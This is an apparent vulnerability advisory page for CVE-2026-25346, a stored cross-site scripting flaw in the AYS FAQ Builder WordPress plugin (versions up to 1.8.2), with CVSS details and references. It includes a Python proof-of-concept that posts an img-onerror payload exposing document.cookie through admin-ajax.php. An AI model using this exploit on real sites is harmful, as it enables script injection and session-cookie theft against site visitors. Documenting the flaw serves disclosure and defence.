CVE-2026-25346

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ays Pro FAQ Builder AYS faq-builder-ays allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects FAQ Builder AYS: from n/a through <= 1.8.2.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

AYS Pro FAQ Builder <= 1.8.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"

# Malicious XSS payload to demonstrate vulnerability
xss_payload = "<img src=x onerror=alert('XSS-Document-Cookie:'+document.cookie)>"

# Exploit data simulating the vulnerable request
data = {
    "action": "ays_faqs_builder_actions", 
    "faq_question": "Test Question",
    "faq_answer": xss_payload,
    "ays_submit": "Save"
}

try:
    # Sending the POST request to inject the payload
    response = requests.post(target_url, data=data)
    
    if response.status_code == 200:
        print("[+] Payload injected successfully!")
        print("[+] Check the FAQ page to verify script execution.")
    else:
        print("[-] Request failed with status code:", response.status_code)
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25346
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25346
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25346/
[4] VulDB https://vuldb.com/cve/CVE-2026-25346
[5] https://patchstack.com/database/Wordpress/Plugin/faq-builder-ays/vulnerability/wordpress-faq-builder-ays-plugin-1-8-2-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

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